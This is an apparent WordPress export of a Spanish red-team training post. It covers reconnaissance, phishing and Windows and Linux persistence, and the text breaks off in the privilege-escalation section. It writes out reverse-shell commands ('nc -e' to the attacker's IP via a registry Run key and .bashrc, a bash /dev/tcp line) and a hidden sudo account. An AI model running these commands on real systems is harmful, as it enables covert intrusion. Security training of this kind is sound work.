{"id":23393,"date":"2026-04-13T13:23:27","date_gmt":"2026-04-13T19:23:27","guid":{"rendered":"https:\/\/sada.services\/?p=23393"},"modified":"2026-04-13T16:36:58","modified_gmt":"2026-04-13T22:36:58","slug":"3-training-hub-i-vulnerabilities-analyst-pd-wrl-007-funciones-basicas-de-evaluacion-y-gestion-de-la-vulnerabilidad-tecnicas-comunes-de-red-team","status":"publish","type":"post","link":"https:\/\/sada.services\/?p=23393","title":{"rendered":"3. Training Hub I: Vulnerabilities Analyst \u2013 PD-WRL-007 | Funciones B\u00e1sicas de Evaluaci\u00f3n y Gesti\u00f3n de la Vulnerabilidad | T\u00e9cnicas comunes de Red Team"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">1.1. Reconocimiento Pasivo<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Recopilaci\u00f3n de informaci\u00f3n IP\/DNS del dominio<\/strong>: Determinamos la IP, servidores y registros DNS del dominio objetivo. Herramientas como\u00a0<strong>Host, Nslookup, Dig<\/strong>\u00a0o\u00a0<strong>DNSRecon<\/strong>\u00a0son muy \u00fatiles para este paso.<\/li>\n\n\n\n<li><strong>Recopilaci\u00f3n de informaci\u00f3n sobre el Dominio\/Sitio Web<\/strong>: Determinamos la informaci\u00f3n relevante al sitio web, como el administrador, la empresa registradora, el responsable as\u00ed como la fecha de expiraci\u00f3n del dominio. Tamb\u00eden podemos determinar si existe alg\u00fan tipo de WAF (Firewall de nivel de Aplicaci\u00f3n Web) as\u00ed como las diferentes tecnolog\u00edas que utiliza el sitio web. Contamos con utilidades como\u00a0<strong>Whois, WAF, Wappalyzer o Whatweb<\/strong><\/li>\n\n\n\n<li><strong>Extraer informaci\u00f3n de empleados<\/strong>. En este punto debemos utilizar las redes sociales para extraer la m\u00e1xima informaci\u00f3n posible sobre los empleados e intentar obtener correos electr\u00f3nicos o informaci\u00f3n relevante.<\/li>\n\n\n\n<li><strong>Enumeraci\u00f3n pasiva de subdominios<\/strong>. Podemos listar los subdominios mediante diccionarios de palabras con herramientas como\u00a0<strong>Sublist3r<\/strong>.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">1.2. Reconocimiento Activo<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>DNS Zone Transfers<\/strong>: Es un mecanismo que utilizan los administradores de sistema para replicar la base de datos de los servidores DNS a trav\u00e9s de consultas tipo AXFR. Podemos usar esta funcionalidad para obtener copias de los registros DNS si el mecanismo de transferencia de zona DNS est\u00e1 activo. De esta manera se puede suplantar un DNS y redirigir las peticiones DNS de la v\u00edctima a nuestro servidor, que puede resultar en una suplantaci\u00f3n web con un posible robo de credenciales posterior. Esto se denomina envenenamiento DNS (DNS Poisoning). Para ello contamos con herramientas como\u00a0<strong>DNSRecon<\/strong>\u00a0o\u00a0<strong>Fierce<\/strong>.<\/li>\n\n\n\n<li><strong>Escaneo de puertos<\/strong>: El objetivo de esta t\u00e9cnica es determinar los servicios que est\u00e1n funcionando en el sistema desde el exterior y comprobar si las versiones que se encuentra funcionando tienen alguna vulnerabilidad conocida o fallos de configuraci\u00f3n que permitan su explotaci\u00f3n. La herramienta mas conocida en el mundo hacker es\u00a0<strong>Nmap<\/strong>, con una potencia brutal que adem\u00e1s incluye su\u00a0<strong>Nmap Script Engine<\/strong>, que nos permite, por ejemplo, ejecutar scripts para verificar e intentar explotar las vulnerabilidades con scripts conocidas sobre las versiones de los servicios encontrados.<\/li>\n\n\n\n<li><strong>Fuerza Bruta a Subdominios<\/strong>: Esta t\u00e9cnica nos permite, haciendo uso de una lista de palabras mas usadas para declarar subdominios, realizar una enumeraci\u00f3n de los subdominios que cuelgan de un dominio haciendo consultas por fuerza bruta. Contamos con herramientas como\u00a0<strong>Knockpy<\/strong>\u00a0o\u00a0<strong>GoBuster<\/strong>.<\/li>\n\n\n\n<li><strong>Fuerza Bruta a directorios<\/strong>: La t\u00e9cnica es la misma utilizada para los subdominios pero en este caso para directorios de una aplicacion web o dominio. Mediante un diccionario de las palabras mas usadas para nombrar directorios en un servidor, se realiza una fuerza bruta sobre los dominios para la enumeraci\u00f3n de directorios. Tambi\u00e9n podemos utilizar en este punto\u00a0<strong>GoBuster<\/strong>\u00a0u otras herramientas como\u00a0<strong>dirb<\/strong>.<\/li>\n\n\n\n<li><strong>Escaneo de vulnerabilidades web<\/strong>: Mediante herramientas autom\u00e1ticas, esta t\u00e9cnica nos permitir\u00e1 escanear una web para descubrir las vulnerabilidades y fallos de configuraci\u00f3n que tienen, analizando las cabeceras de las peticiones que se envian as\u00ed como de la respuesta del servidor y chequeos como captura de cookies recibidas, archivos o directorios con mala configuraci\u00f3n de permisos, etc. Una herramienta muy potente para este paso es\u00a0<strong>Nikto<\/strong>.<\/li>\n\n\n\n<li><strong>Escaneo de vulnerabilidades CMS<\/strong>: Desde hace unos a\u00f1os se puso de moda el desarrollo web mediante CMS, puesto que nos ahorra mucho tiempo y costes a la hora de montar un sitio web. Estos sistemas funcionan a base de plantillas que interaccionan entre s\u00ed y que tienen los componentes necesarios para desarrollar una web incluso con pocos conocimientos sobre desarrollo, redes o protocolos de aplicaciones. La desventaja ocasionada es que mucho personal no t\u00e9cnico es capaz de montar una web, pero sin ser conscientes de los riesgos que implica dejar archivos por defecto o directorios con permisos totales. Un ejemplo es WordPress, el CMS m\u00e1s utilizado. Para el an\u00e1lisis de este, tenemos\u00a0<strong>wpscan<\/strong>\u00a0que nos ayuda a identificar vulnerabilidades y fallos de configuraci\u00f3n en un sitio web construido con WordPress. Para otro tipo de CMS existen herramientas especificas.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">1.3. Compromiso Inicial<\/h2>\n\n\n\n<p>La mayor\u00eda de la gente piensa que un atacante penetra en la red utilizando medios casi m\u00e1gicos basados en habilidades avanzadas y alguna vulnerabilidad de \u201cdia cero\u201d. La realidad es mucho m\u00e1s simple, un ciberatacante debe ser eficiente, efectivo y su operaci\u00f3n debe pasar desapercibida el mayor tiempo posible.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img fetchpriority=\"high\" decoding=\"async\" width=\"813\" height=\"592\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-55.png\" alt=\"\" class=\"wp-image-23398\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-55.png 813w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-55-300x218.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-55-768x559.png 768w\" sizes=\"(max-width: 813px) 100vw, 813px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Phishing<\/strong>: Es la m\u00e1s com\u00fan en esta fase. Se env\u00edan correos electr\u00f3nicos a las posibles v\u00edctimas esperando que respondan positivamente al correo. El objetivo mas com\u00fan es lucrarse de manera econ\u00f3mica. Por ejemplo, el atacante env\u00eda un correo electr\u00f3nico haci\u00e9ndose pasar por una empresa bancar\u00eda leg\u00edtima con un enlace en el que hacer clic, para posteriormente redirigir al usuario a un sitio web falso, copia del sitio web original con un formulario donde introducir sus credenciales de la cuenta bancaria o la informaci\u00f3n de tarjeta de cr\u00e9dito. Esta informaci\u00f3n luego se env\u00eda a sistemas controlados por el atacante. Hay dos variantes comunes de Phishing. La primera y menos efectiva es la creaci\u00f3n de correo s electr\u00f3nicos enviados a cientos o miles de personas elegidas al azar o de una lista de correos electr\u00f3nicos pidiendo directamente credenciales o informaci\u00f3n en dicho correo. La segunda consiste en enviar un correo con un documento adjunto que puede contener malware y que robar\u00e1 credenciales almacenadas en el sistema infectado (credenciales bancarias, de cuentas de correo o servicios). Se utilizan diferentes esquemas de ingenier\u00eda social para atraer al usuario a abrir el archivo adjunto.<\/li>\n\n\n\n<li><strong>Spear Phishing<\/strong>: La diferencia con el phishing tradicional consiste en que esta variante es un phishing dirigido. Los atacantes env\u00edan muy pocos correos electr\u00f3nicos pero que apuntan a la victima o victimas correctas. Podemos diferenciar dos tipos.\n<ul class=\"wp-block-list\">\n<li><strong>Spear Phishing masivo<\/strong>: Los atacantes env\u00edan gran cantidad de correos a objetivos seleccionados en referencia a actividades o preferencias personales para incrementar la posibilidad de caer en el phishing. Pongamos que eres un apasionado de la cocina. Probablemente te registres en foros o portales en referencia a recetas de cocina y rellenes informaci\u00f3n adicional que no es necesaria pero te caracteriza. Un objetivo principal de un atacante cuando penetra un sitio web es volcar su base de datos, la cual contiene esa informaci\u00f3n y puede ser usada para Spear Phishing masivo o para venderla en internet.<\/li>\n\n\n\n<li><strong>Spear Phishing tradicional<\/strong>: Esta t\u00e9cnica se fdefine como un correo electr\u00f3nico enviado a muy pocas personas con un contenido adaptado y personalizado para el receptor, utilizando la informaci\u00f3n relevante de la etapa de reconocimiento. Este metodo es preferible por las siguientes razones.\n<ul class=\"wp-block-list\">\n<li>Tiene una tasa de apertura del 70%.<\/li>\n\n\n\n<li>Un atacante con prisa no tarda mucho en encontrar una direcci\u00f3n de correo a la que atacar.<\/li>\n\n\n\n<li>Es sencillo de realizar. Solo hay que tener cuidado de ocultar la IP de la m\u00e1quina que env\u00eda el correo electr\u00f3nico (puede enviarse desde una red comprometida, proxies acceso wifi p\u00fablico&#8230;)<\/li>\n\n\n\n<li>Como\u00a0<strong>primera entrada a la red objetivo<\/strong>, puesto que atacarla desde el exterior mediante la explotaci\u00f3n de vulnerabilidades requiere muchas m\u00e1s habilidades t\u00e9cnicas y podr\u00eda activar algunas alarmas en el sistema v\u00edctima si no se hace correctamente.<\/li>\n\n\n\n<li>Una campa\u00f1a masiva podr\u00eda detectarse facilmente en el servidor de correo, sobre todo si varas personas de la empresa reciben correos similares que provienen de la misma IP o tienen el mismo asunto.<\/li>\n\n\n\n<li>Es facil falsificar un correo electr\u00f3nico que parezca que proviene de algun compa\u00f1ero. Existen dos problemas potenciales para el atacante. En primer lugar que el servidor de correo rechace el correo si tiene buenos par\u00e1metros de seguridad. El segundo, si el receptor responde a una direcci\u00f3n falsa. En ese cas\u00f3 el objetivo puede percatarse de que algo anda mal. Para resolver este problema el atacante podr\u00eda crear un correo electr\u00f3nico con un nombre cercano al leg\u00edtimo solo para el ataque.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Explotaci\u00f3n de redes sociales<\/strong>: Actualmente, la red social profesional m\u00e1s grande del mundo es LinkedIn y casi todas las empresas tienen empleados registrados. Es facil crear un perfil falso realista de un empleado de la empresa, puesto que toda la informaci\u00f3n en LinkedIn es declarativa, no hay control sobre ella. Posteriormente pueden enviarse invitaciones a los empleados de dicha empresa y tratar de unirse a un grupo perteneciente a la empresa sin verificaci\u00f3n alguna. A partir de aqui ya puedes disponer de varios perfiles a los que acceder. Difundes un enlace malicioso con malware incrustado para recopilaci\u00f3n de credenciales o aperturas de servicios con los que comunicarse y \u00a1BOOM!. No obstante existen redes sociales mas interesantes en los que se pueden aplicar mec\u00e1nicas parecidas como Facebook, Instagram y Twitter. Si un atacante compromete una computadora dom\u00e9stica de un empleado de alguna empresa es posible que pueda acceder a informaci\u00f3n corporativa que tenga guardad en ella, accesos de VPN, archivos de contrase\u00f1a&#8230; sobre todo si ese equipo es utilizado para teletrabajo o estudio. Si los atacantes consiguen robar credenciales o certificados ya tenemos la explotaci\u00f3n realizada.<\/li>\n\n\n\n<li><strong>Watering Hole Infections<\/strong>: Esta t\u00e9cnica consiste en tratar de infectar un sitio web famoso con miles de visitantes para propagar malware e infectar a gran cantidad de visitantes. As\u00ed se posibilita crear una botnet o un robo de credenciales masivo. Los atacantes conocen muy bien sus objetivos tras la fase de reconocimiento, as\u00edque tambi\u00e9n probablemente puedan conocer sus principales proveedores. De esta manera, y conociendo los rangos IP de los proveedores, se puede filtrar a quien se infecta, o incluso los atacantes podr\u00edan infectar a todos y luego ordenar los objetivos por direcciones IP. Es probablemente la forma mas r\u00e1pida de comprometer varios objetivos con un solo movimiento.<\/li>\n\n\n\n<li><strong>Ataques directos<\/strong>: Este es el escenario mas sencillo para un compromiso inicial. Los atacantes apuntan a los servidores del objetivos expuestos a internet. Los servidores web son los servidores mas espec\u00edficos aqu\u00ed. Existen otros servidores objetivos como pueden ser DNS, servidores de correo electr\u00f3nicos o cualquier servidor conectado a internet. Una vez encontrada una vulnerabilidad, los atacantes lanzan el ataque para comprometer el servidor y explorar m\u00e1s e instalar puertas traseras.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">1.4. Establecimiento de la persistencia<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">1.4.1. Windows<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">1.4.1.1. Tareas Programadas<\/h4>\n\n\n\n<p>Una de las t\u00e9cnicas mas famosas es la creaci\u00f3n de una tarea programada que se ejecuta dentro de un rango de tiempo para ejecutar c\u00f3digo en el destino. La siguiente linea crea una tarea programada que se ejecuta cada minuto y despues ejecuta un shell en la ruta C:\\tmp\\access.cmd.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>schtasks \/create \/sc minute \/mo 1 \/tn \"tareapersistente\" \/tr C:\\tmp\\access.cmd \/ru \"SYSTEM\"<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">1.4.1.2. Modificaci\u00f3n de Claves de registro<\/h4>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"755\" height=\"679\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-56.png\" alt=\"\" class=\"wp-image-23399\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-56.png 755w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-56-300x270.png 300w\" sizes=\"(max-width: 755px) 100vw, 755px\" \/><\/figure>\n\n\n\n<p><strong>Ejemplo<\/strong>:<\/p>\n\n\n\n<p>El siguiente c\u00f3digo se usa para ejecutar nc.exe e iniciar shell remota cuando se inicia la m\u00e1quina:&nbsp;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>REG ADD HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\CurrentVersion\\Run \/v 1 \/d \"C:\\Users\\user\\Downloads\\nc.exe -e cmd.exe nuestra-IP puerto\"<\/code><\/pre>\n\n\n\n<p>Se suele utilizar la modificaci\u00f3n de claves de registro para lograr la persistencia en un sistema. Algunos de los valores o ubicaciones de registros mas comunes son:<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">Puntos de arranque autom\u00e1tico de Windows<\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce<\/code><\/pre>\n\n\n\n<p>Las claves enumeradas anteriormente est\u00e1n a nivel de usuario y, a menudo, se utilizan en el an\u00e1lisis de malware para lograr la persistencia si no se pueden explotar los privilegios de nivel de administrador\/sistema.<\/p>\n\n\n\n<p>De lo contrario:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersionRunOnce HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">Clave BootExecute<\/h5>\n\n\n\n<p>Dado que smss.exe se inicia antes de que se cargue el subsistema de Windows, llama al subsistema de configuraci\u00f3n para cargar la secci\u00f3n presente en\u00a0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HKLM_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\hivelist<\/code><\/pre>\n\n\n\n<p>Adem\u00e1s, smss.exe lanzar\u00e1 cualquier cosa presente en la clave BootExecute en<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Session Manager<\/code><\/pre>\n\n\n\n<p>Siempre debe tener el valor de autocheck autochk*. Si hay m\u00e1s valores en \u00e9l, entonces probablemente haya persistencia que se inicializa en el arranque.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">Claves utilizadas por el proceso WinLogon<\/h5>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Userinit<\/strong>: El proceso Winlogon usa el valor especificado en la clave Userinit para iniciar secuencias de comandos de inicio de sesi\u00f3n, etc. Esta clave se encuentra en<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon<\/code><\/pre>\n\n\n\n<p>Normalmente la clave apunta a userinit.exe, pero si esta clave se puede modificar, Winlogon tambi\u00e9n iniciar\u00e1 ese exe.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Notify<\/strong>: Dado que Winlogon maneja la secuencia de atenci\u00f3n segura (SAS) (Ctrl+Alt+Del), las subclaves de notificaci\u00f3n que se encuentran en<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion\\Winlogon\\Notify<\/code><\/pre>\n\n\n\n<p>se usan para notificar a los controladores de eventos cuando ocurre SAS y carga una DLL. Esta DLL se puede editar para que se inicie cada vez que ocurra dicho evento SAS.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>explorador.exe<\/strong>: Apuntada por la clave ubicada en<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion\\Winlogon\\Shell<\/code><\/pre>\n\n\n\n<p>esta clave apunta a explorer.exe (interfaz de Windows) y solo debe ser una cadena \u201cexplorer.exe\u201d ya que se supone que debe iniciarse desde Windows. La clave de arranque en<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\IniFileMapping\\system.ini\\boot<\/code><\/pre>\n\n\n\n<p>apunta a la ubicaci\u00f3n bajo Winlogon \u00fanicamente.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">Claves de inicio<\/h5>\n\n\n\n<p>Los autores de malware suelen colocar un archivo malicioso en el directorio de inicio. Cualquier acceso directo creado a la ubicaci\u00f3n se\u00f1alada por la subclave Inicio iniciar\u00e1 el servicio durante el inicio de sesi\u00f3n\/reinicio. La ubicaci\u00f3n de inicio se especifica tanto en M\u00e1quina local como en Usuario actual.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nHKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">Servicios<\/h5>\n\n\n\n<p>Muchos servicios de Windows se ejecutan en el arranque, como los servicios de estaci\u00f3n de trabajo\/servidor, el registro de eventos y otros controladores. Estos se encuentran en<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservices<\/code><\/pre>\n\n\n\n<p>Adem\u00e1s de colocar un archivo malicioso en la clave de registro mencionada anteriormente, se pueden cargar archivos maliciosos si un servicio no se inicia. Por ejemplo, se puede usar un fallo de RDP para ejecutar un programa.<\/p>\n\n\n\n<p>Hay algunas otras claves que se utilizan para iniciar servicios en segundo plano, como el servicio de registro remoto. Estos se encuentran en:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices<\/code><\/pre>\n\n\n\n<p>Objetos auxiliares del navegador (BHO)<\/p>\n\n\n\n<p>Es un m\u00f3dulo DLL cargado cuando se inicia Internet Explorer. Varios tipos de malware de robo de datos afectan a BHO. Est\u00e1n ubicados en<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects<\/code><\/pre>\n\n\n\n<p>Hay varias subclaves en BHO que le indican al navegador que cargue qu\u00e9 archivos DLL.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">AppInit_DLL<\/h5>\n\n\n\n<p>La clave ubicada en\u00a0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs<\/code><\/pre>\n\n\n\n<p>mostrar\u00e1 las DLL cargadas por User32.dll. Como la mayor\u00eda de los ejecutables cargan User32.dll, este es un buen lugar para inyectar DLLs maliciosas.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">Claves de asociaci\u00f3n de archivos<\/h5>\n\n\n\n<p>Ubicado en\u00a0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HKEY_LOCAL_MACHINE\\Software\\Classes\nHKEY_CLASSES_ROOT<\/code><\/pre>\n\n\n\n<p>hay varias teclas que se utilizan para especificar la acci\u00f3n cuando se abre un cierto tipo de archivos<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">Secuestro de orden de b\u00fasqueda de DLL<\/h5>\n\n\n\n<p>Secuestrar un concepto sobre c\u00f3mo el sistema operativo carga las DLL. Cada vez que se carga un exe (incluso explorer.exe), sigue una b\u00fasqueda de ruta determinada para cargar las DLL requeridas. Es posible agregar una DLL maliciosa con el mismo nombre en un directorio anterior al directorio donde reside la DLL leg\u00edtima. Si el modo de b\u00fasqueda segura de DLL est\u00e1 habilitado, el sistema operativo verificar\u00e1 si la DLL ya est\u00e1 cargada en la memoria o si es parte de la clave de registro de DLL conocidas ubicada en<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\KnownDLLs<\/code><\/pre>\n\n\n\n<p>i el sistema operativo no puede encontrar la DLL en ninguno de estos, la b\u00fasqueda de DLL comienza en el siguiente orden<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Directorio de inicio de la aplicaci\u00f3n > Directorio del sistema (C:\\Windows\\System32) > Directorio de Windows > Directorio de trabajo actual > Directorios definidos en la variable PATH<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">1.4.2 Linux<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\">1.4.2.1. Persistencia mediante claves SSH<\/h5>\n\n\n\n<p>Consiste en la generaci\u00f3n y uso de autenticaci\u00f3n basada en la clave SSH. Ayudar\u00e1 a mantener el acceso al sistema si se han cambiado las contrase\u00f1as de las cuentas de usuario. Requiere que la autenticaci\u00f3n de clave p\u00fablica est\u00e9 habilitada en el archivo de configuracion de SSH. Se necesitar\u00e1 privilegios de root para modificar el archivo de configuraci\u00f3n de SSH.<\/p>\n\n\n\n<p>1.- Se ejecuta\u00a0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh-keygen<\/code><\/pre>\n\n\n\n<p>2.- Se copia el contenido (id_rsa.pub) y se agrega a \u201cauthorized_keys\u201d en el directorio .ssh de la cuenta de usuario comprometida (\/root\/.ssh\/authorized_keys)<\/p>\n\n\n\n<p>3.- Se otorgan privilegios 700 al directorio y 600 al fichero \u201cauthorized_keys\u201d.<\/p>\n\n\n\n<p>4.- Se prueba el acceso mediante SSH.<a><\/a><a><\/a><\/p>\n\n\n\n<h5 class=\"wp-block-heading\">1.4.2.2. Creando una cuenta de usuario local con privilegios<\/h5>\n\n\n\n<p>Creando una cuenta de usuario local con privilegios<\/p>\n\n\n\n<p>1.- Creamos cuenta de usuario:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>useradd -m -s \/bin\/bash ww-data<\/code><\/pre>\n\n\n\n<p>el nombre debe pasar lo m\u00e1s desapercibido posible.<\/p>\n\n\n\n<p>2.- Agregarlo al grupo \u201csudo\u201d:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>usermod -aG sudo ww-data<\/code><\/pre>\n\n\n\n<p>3.- Cambiar la contrase\u00f1a:\u00a0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>passwd ww-data<\/code><\/pre>\n\n\n\n<p>4.- Se prueba el acceso desde SSH.<br><\/p>\n\n\n\n<h5 class=\"wp-block-heading\">1.4.2.3. Modificar configuraci\u00f3n de la Shell de Linux<\/h5>\n\n\n\n<p>Esta t\u00e9cnica implica agregar un comando bash reverse en el .bashrc del objetivo para conectarnos a el cuando inicie la terminal.<\/p>\n\n\n\n<p>Se modifica el fichero ~.\/bashrc para a\u00f1adirle un comando que nos cree una shell inversa hacia nuestro sistema.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nc -e \/bin\/bash 'nuestra-IP' 'puerto' 2>\/dev\/null &amp;<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Prueba tavo<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>bash -i >&amp; \/dev\/tcp\/127.0.0.1\/9090 0>&amp;1<\/code><\/pre>\n\n\n\n<p>Donde el puerto debe ser el que est\u00e9 escuchando nuestra m\u00e1quina por Netcat. Para ello en nuestra m\u00e1quina:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nc -nlvp 'puerto'<\/code><\/pre>\n\n\n\n<p>Cada vez que el usuario inicie sesi\u00f3n se ejecutar\u00e1 .bashrc y en consecuencia nos proporciona una interfaz de comando inversa.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">1.4.2.4. Creaci\u00f3n binario SUID<\/h5>\n\n\n\n<p>Un binario con SUID implica que todo el que ejecute dicho fichero se realizar\u00e1 con los privilegios del usuario propietario del fichero. Cualquier persona que ejecute dicho binario tendr\u00e1 acceso al sistema con privilegios de root, en caso de que el propietario de ese binario sea root.<\/p>\n\n\n\n<p>Para habilitar el fichero, script o binario correspondiente con SUID solo debe hacerse<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>chmod 4777 \/ruta\/fichero.sh<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">1.4.2.5. Persistencia mediante Tareas Cron<\/h5>\n\n\n\n<p>El archivo crontab tiene tareas que se ejecutan regularmente as\u00ed como el nombre del comando que las administra. El atacante puede crear un shell remoto a su servidor cada 12 horas por ejemplo. La edici\u00f3n de crontab puede realizarse sin privilegios de root.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"341\" height=\"150\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-57.png\" alt=\"\" class=\"wp-image-23400\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-57.png 341w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-57-300x132.png 300w\" sizes=\"(max-width: 341px) 100vw, 341px\" \/><\/figure>\n\n\n\n<h5 class=\"wp-block-heading\">1.4.2.6. Tareas que se ejecutan al Inicio del sistema<\/h5>\n\n\n\n<p>Es com\u00fan para un atacante tratar de obtener persistencia en el sistema mediante tareas que se ejecuten al inicio de este. Para ello una de las formas es crear un Bash Script en \/etc\/init.d\/service, ejecutar<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#sudo update-rc.d service enable<\/code><\/pre>\n\n\n\n<p>que habilitar\u00e1 la ejecuci\u00f3n en el arranque del sistema<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">1.5. Escalada de Privilegios<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">1.5.1. Windows<\/h3>\n\n\n\n<p>Los tipos de privilegios con respecto a los usuarios en windows son los siguientes:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Administrador local: Usuario con m\u00e1s privilegios.<\/li>\n\n\n\n<li>Est\u00e1ndar (local): pueden acceder al sistema pero solo pueden realizar tareas limitadas. Por lo general, no pueden realizar cambios permanentes o esenciales en el sistema.<\/li>\n\n\n\n<li>Invitado: Esta cuenta da acceso al sistema pero no se define como usuario.<\/li>\n\n\n\n<li>Est\u00e1ndar (dominio): Active Directory permite a las organizaciones administrar cuentas de usuario. Una cuenta de dominio est\u00e1ndar puede tener privilegios de Administrador Local.<\/li>\n\n\n\n<li>Administrador de Dominio: Podr\u00eda ser considerado como el usuario con m\u00e1s privilegios. Puede editar, crear y eliminar otros usuarios en todo el dominio.<\/li>\n<\/ul>\n\n\n\n<p>Por tanto las t\u00e9cnicas son las siguientes.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.1.1. Enumeraci\u00f3n de usuarios<\/h4>\n\n\n\n<p>Privilegios del usuario actual:\u00a0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><code>whoami \/priv<\/code><\/code><\/pre>\n\n\n\n<p>Lista de usuarios:\u00a0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><code>net users<\/code><\/code><\/pre>\n\n\n\n<p>Lista de detalles del usuario:\u00a0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><code>net 